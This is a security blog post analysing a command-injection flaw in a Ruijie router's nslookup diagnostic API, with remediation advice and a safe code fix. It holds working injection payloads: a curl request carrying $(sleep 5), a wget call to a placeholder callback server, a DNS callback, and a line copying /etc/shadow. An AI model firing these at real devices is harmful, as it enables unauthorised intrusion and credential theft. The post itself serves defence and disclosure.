ekofyi
That Nslookup Endpoint Is a Shell: Ruijie's CVE-2026-12197 and the Persistent Stupidity of Router Diagnostic APIs
Security Research13 min read

That Nslookup Endpoint Is a Shell: Ruijie's CVE-2026-12197 and the Persistent Stupidity of Router Diagnostic APIs

CVE-2026-12197 reveals command injection in Ruijie EG105G-P's JSON-RPC diagnose endpoint—here's why nslookup endpoints keep handing out shells, how to detect them, and what to do about it.

I saw the NVD entry drop yesterday and my first thought was: "Again?" It's a familiar script. A router. A diagnostic endpoint. A function called nslookup. And a parameter that turns a harmless network utility into an OS command execution gateway.

The CVE details are sparse—the summary literally cuts off after "Performi"—but the bones are clear. Ruijie EG105G-P firmware version 2.340 ships a JSON-RPC endpoint at /cgi-bin/luci/api/diagnose that exposes an nslookup function. That function, accessible to authenticated users (CVSS 7.2 implies it requires authentication), allows command injection. You feed it a hostname; it runs nslookup on the underlying OS. But somewhere inside that function, the input isn't sanitized, and the shell treats your payload as part of the command string.

If you've ever tested a router's diagnostics page, you know this bug. It's the offspring of a bad decision: exposing a command-line utility through a web interface without proper escaping. Over the years, I've seen the same pattern in industrial gateways, broadband CPEs, and even a coffee machine's network config panel. The Ruijie case is just the latest reminder that we're still wiring pipes directly from user input to popen() and calling it "diagnostics."

The Vulnerability in a Nutshell

The endpoint is part of the LuCI-based management interface (LuCI is OpenWrt's web UI, which tells me this router likely runs a customized OpenWrt build). The path /cgi-bin/luci/api/diagnose suggests an API that handles diagnostic tasks—ping, traceroute, nslookup, maybe port scanning. The JSON-RPC protocol here means you send a POST with a JSON body that includes a method name and parameters. Something like:

http
POST /cgi-bin/luci/api/diagnose HTTP/1.1
Content-Type: application/json

{
  "method": "nslookup",
  "params": ["google.com"]
}

And the backend, in some C/Shell script or even Lua, does the equivalent of:

c
sprintf(cmd, "nslookup %s", input);
system(cmd);

Because nslookup takes a hostname, and the input isn't validated, the attacker sends google.com; id; or $(reboot) or backtick injection, and the shell runs it. The CVSS score of 7.2 suggests the attacker needs to be authenticated (likely a user on the web interface), which limits the blast radius—but authenticated RCE on a router is still a route to owning the entire network.

Now, I don't have the exact vulnerable code (the NVD didn't publish a deep analysis and I don't have the firmware in front of me), but the pattern is so common we can dissect it without seeing the source. The fact that it's an nslookup function and not a generic command speaks volumes: someone thought, "we'll just take the user's input and pass it to the nslookup binary, what's the worst that could happen?" The worst is exactly what happened.

Why JSON-RPC Endpoints Are a Nightmare for Input Sanitization

JSON-RPC is a simple protocol: a JSON object with a method name and parameters gets sent, and a result comes back. It's easy to implement, which makes it attractive for embedded devices. But simplicity masks danger. On the server side, you're often routing method names directly to function pointers or shell scripts with minimal abstraction. There's no built-in input schema validation unless you add it yourself. And because the protocol is often used for internal APIs, developers assume the callers are trusted. Spoiler: they aren't.

In the Ruijie case, the diagnose endpoint likely sits behind the same authentication as the web admin panel. But as we've seen in countless routers, default credentials or weak password policies turn that "authenticated" requirement into a joke. Add to that the possibility of CSRF, or that the endpoint might be reachable from the LAN side without authentication in some configurations, and you've got a nasty recipe.

I've reversed similar endpoints before. One consumer gateway I tested had a /cgi-bin/ handler that parsed query parameters and executed whatever followed after a | character. The "diagnosis" page literally just appended the user-supplied domain to ping -c 4. The fix? Add a single level of input validation: allow only alphanumeric, dots, and hyphens. It took one line of code. But that device shipped to thousands for two years before anyone flagged it.

The Ruijie bug falls into the same bucket. Somewhere in that JSON-RPC path, the parameter lands in a command string without adequate filtering. The "authenticated" aspect means it's a post-auth RCE, which is still serious. 7.2 is a high score, and I'd argue it might be even higher in practical impact because routers are gatekeepers.

How Nslookup Becomes a Shell

Let's walk through a hypothetical exploit for those who haven't seen this up close. The endpoint takes a hostname, and the backend calls nslookup on the underlying OS. Most embedded devices run BusyBox or a minimal Linux shell, so when you run a command via popen() or system(), the shell joins strings together and interprets metacharacters.

A typical vulnerable snippet in embedded C:

c
void handle_nslookup(const char *host) {
    char cmd[128];
    snprintf(cmd, sizeof(cmd), "nslookup %s", host);
    system(cmd);
}

If host contains a semicolon, backtick, or $(), the shell executes that subcommand. So an attacker sends:

json
{
  "method": "nslookup",
  "params": ["127.0.0.1; cat /etc/shadow > /tmp/shadow.txt;"]
}

The shell interprets it as:

  • nslookup 127.0.0.1
  • then runs cat /etc/shadow > /tmp/shadow.txt

Even if the output isn't returned in the response, the command still executes. A more insidious version uses wget to pull down a reverse shell or adds a cronjob for persistence.

In some implementations, system() isn't used directly; instead the router's Lua CGI might do something like:

lua
local cmd = "nslookup " .. host
local f = io.popen(cmd)
local result = f:read("*a")
f:close()

Same issue. The Lua io.popen passes the string to /bin/sh -c, so the injection is identical.

Because it's an nslookup function, the expected output is likely parsed back into the JSON response, which means the attacker gets feedback—making exploitation trivial. They can verify command execution by reading a file into the nslookup output buffer or injecting a unique string that appears in the response. This is the hallmark of a trivially exploitable vulnerability: it tells you when you've succeeded.

Detection with Curl (and Why I'd Script This in 5 Minutes)

Given the pattern, detection is embarrassingly easy. Suppose the endpoint is reachable after authentication. You'd just send a payload designed to cause a detectable side effect—like a time delay or a UNC path that hits your server. For example:

bash
curl -k -X POST https://target/cgi-bin/luci/api/diagnose \
  -H "Content-Type: application/json" \
  -d '{"method":"nslookup", "params":["$(sleep 5)"]}'

Measure the response time. If it takes ~5 seconds, you've got injection.

Better yet, send an out-of-band request:

bash
curl ... -d '{"method":"nslookup", "params":["$(wget -qO- http://your-server/callback)"]}'

Or if the device can't reach the internet, use DNS:

bash
curl ... -d '{"method":"nslookup", "params":["; nslookup xxx.yourdomain.com"]}'

Check your DNS logs. If you see a lookup for xxx.yourdomain.com, you know it's vulnerable.

I'd turn this into a quick Python script that logs in using default credentials, sends the payload, and verifies OOB. That's the kind of automation I live for. But honestly, if you're an MSP or a small business running these routers, you can test it in under a minute with curl.

Why This Keeps Happening (and Who's to Blame)

It's easy to blame bad developers, but the real villain is a system that prioritizes features over security. Adding a "Network Diagnostics" page is a bullet point on the product box. Spending an extra two days building proper input sanitization and using parameterized execution (like fork/execve directly without a shell) doesn't sell units.

Router firmware is a frozen layer cake of vendor customizations on top of OEM SDKs on top of ancient Linux kernels. The diagnostic utility was likely written years ago for a different chipset and copy-pasted into this model. No static analysis tool was ever run against it. No fuzzer ever touched that endpoint. And because the device is cheap, the vendor's security budget is essentially zero.

I've spoken to embedded developers who genuinely believe that as long as something is behind the login page, it's safe. They don't think about authenticated command injection because they picture the attacker as a stranger, not a disgruntled employee or a malware-laden IoT device on the same subnet. And that's exactly how botnets spread. Infected fridges, lightbulbs, and yes, routers—many of which get compromised via post-auth command injection after brute-forcing the admin password.

The Ruijie model is an affordable mesh router, often used in small offices or residential deployments. That's prime botnet target territory. A 7.2 RCE means an attacker who has the admin password (or can guess it) can drop a persistent implant, sniff traffic, or pivot to internal services. For a home network, it's a foothold into everything connected.

What Ruijie Users Should Do Right Now

I'm going to be direct. If you have a Ruijie EG105G-P running firmware version 2.340 (or earlier—the advisory mentions 2.340, but older versions might also be affected if they share the same codebase), you need to do the following:

  1. Update firmware immediately. Check Ruijie's official support page for a patched version. The CVE was published yesterday, so a fix might not be out yet. Bookmark the page and check daily. Don't wait.
  2. Disable remote management if it's on. If the web interface is accessible from the WAN, turn that off now. The attack requires authentication, but if it's open to the internet, brute-force attacks become a viable vector.
  3. Change the admin password. Use a long, random password. If you had a weak or default password, consider the router already compromised. Factory reset, flash the latest firmware, and set a strong password from scratch.
  4. Segment your network. Put untrusted IoT devices on a separate VLAN with no access to the router's admin interface. This is a best practice that limits blast radius even if a vulnerability is present.
  5. If patching isn't possible soon, consider mitigation. Some routers allow you to restrict access to certain CGI endpoints by IP. If you can whitelist only trusted management IPs for /cgi-bin/luci/api/diagnose, do it. But that's a band-aid, not a fix.

I know "update your firmware" is the security equivalent of "drink more water." People ignore it because firmware updates are annoying; they often reset settings or require a reboot that takes down the network. But we're talking about a known remote code execution bug. That should feel urgent.

The Deeper Pattern: Diagnostic Endpoints as a Class of Vulnerability

Let's zoom out. The Ruijie bug is just one specimen in a whole ecosystem of diagnostic endpoint vulnerabilities. I've seen them in:

  • Ping endpoints that allow IPs like 127.0.0.1; cat /etc/passwd.
  • Traceroute endpoints where the hop count parameter is injected.
  • Speed test APIs that call iperf with unsanitized arguments.
  • Wake-on-LAN implementations that pass raw MAC addresses to etherwake.
  • Factory reset endpoints that, I kid you not, accepted a reboot parameter and just ran reboot after validation that could be bypassed with a newline.

Every single one of these shares the same root cause: passing unsanitized user input to a shell command interpreter. The defense is simple in theory—use parameterized execution (e.g., os.execve('/usr/bin/nslookup', ['nslookup', user_input])) or strongly validate input against a regex that only permits safe characters for that function. But in practice, embedded firmware often lacks the modern language constructs to do that cleanly (hello, C and shell scripts), so vendors rely on string concatenation and hope nobody notices.

I'm not here to shame Ruijie specifically. They're the canary in the coal mine. Tomorrow it'll be another vendor, maybe a more expensive "enterprise" router, with the exact same bug.

If you develop network-connected devices, please: stop invoking shells. Or if you must, treat every input as hostile and use a whitelist. For nslookup, the regex ^[a-zA-Z0-9.-]+$ covers valid hostnames and nothing dangerous. Run that, reject non-matching input, and you've killed the bug.

How I'd Audit for This at Scale

Having automated bug bounty workflows before, I'd approach this differently. Given a list of router IPs from an internal network, I'd write a quick Node.js script that:

  1. Authenticates using common default creds (admin/admin, admin/password, etc.).
  2. Enumerates diagnostic endpoints by checking for common paths: /cgi-bin/luci/api/diagnose, /goform/diagnosis, /cgi-bin/test, /diag_ping.cgi, etc.
  3. For each endpoint, attempts a blind time-based injection like ; sleep 5 and measures response latency.
  4. Logs any that exceed a threshold.

That's 50 lines of code and could scan thousands of devices overnight. The same approach could be built into a Shodan-like monitoring tool for external assets. It's low-hanging fruit for any defender with a scripting background.

But that's the irony: we build automation to find these flaws, while the flaws themselves exist because automation wasn't applied during development. A simple static analysis rule—"Look for system() calls with data originating from web parameters"—would flag the diagnose handler instantly. The tools exist. They're just not used where they're needed most.

What I'd Do If I Were In Charge of That Codebase

I can't resist a quick code fix hypothetical. If I were handed the LuCI API source for this router, I'd replace the vulnerable nslookup handler with something like:

python
import subprocess
import re

def safe_nslookup(host):
    # Allow only valid hostname characters
    if not re.match(r'^[a-zA-Z0-9.-]+$', host):
        raise ValueError("Invalid hostname")
    # Use list-based exec to avoid shell interpretation
    result = subprocess.run(
        ['nslookup', host],
        capture_output=True,
        text=True,
        timeout=10
    )
    return result.stdout

No shell, no injection. Even if the input were malicious, subprocess.run with a list bypasses the shell entirely. For compiled C, use execvp() instead of system(). That's the one-line change that makes this vulnerability impossible.

Every diagnostic function should follow this pattern. It's not hard. It's just that nobody made it a requirement.

Going Forward: These Bugs Won't Stop Unless We Make Them Unacceptable

The Ruijie CVE-2026-12197 will be patched, eventually. But the underlying problem—diagnostic endpoints executing shell commands with user input—will continue because we, as an industry, treat routers as disposable appliances, not as the critical security boundary they are. We need to demand that vendors provide firmware change logs, SBOMs, and evidence of static analysis. We need consumer advocacy groups to push for minimum security standards before devices can be sold. And for the IT pros reading this: inventory your routers. Scan them. Make noise when you find a vulnerability. That's the only language vendors understand.

The function nslookup is supposed to look up IP addresses, not give away root access. But when you build it wrong, it does both. Fix it.

I'll be keeping an eye out for the patch. If you're running a Ruijie EG105G-P, go check for updates now. And while you're there, change that admin password. Again.

Related posts

Written by Eko

If you found this useful, follow @ekofyi on X for more notes like this — or get in touch if you have a problem to solve.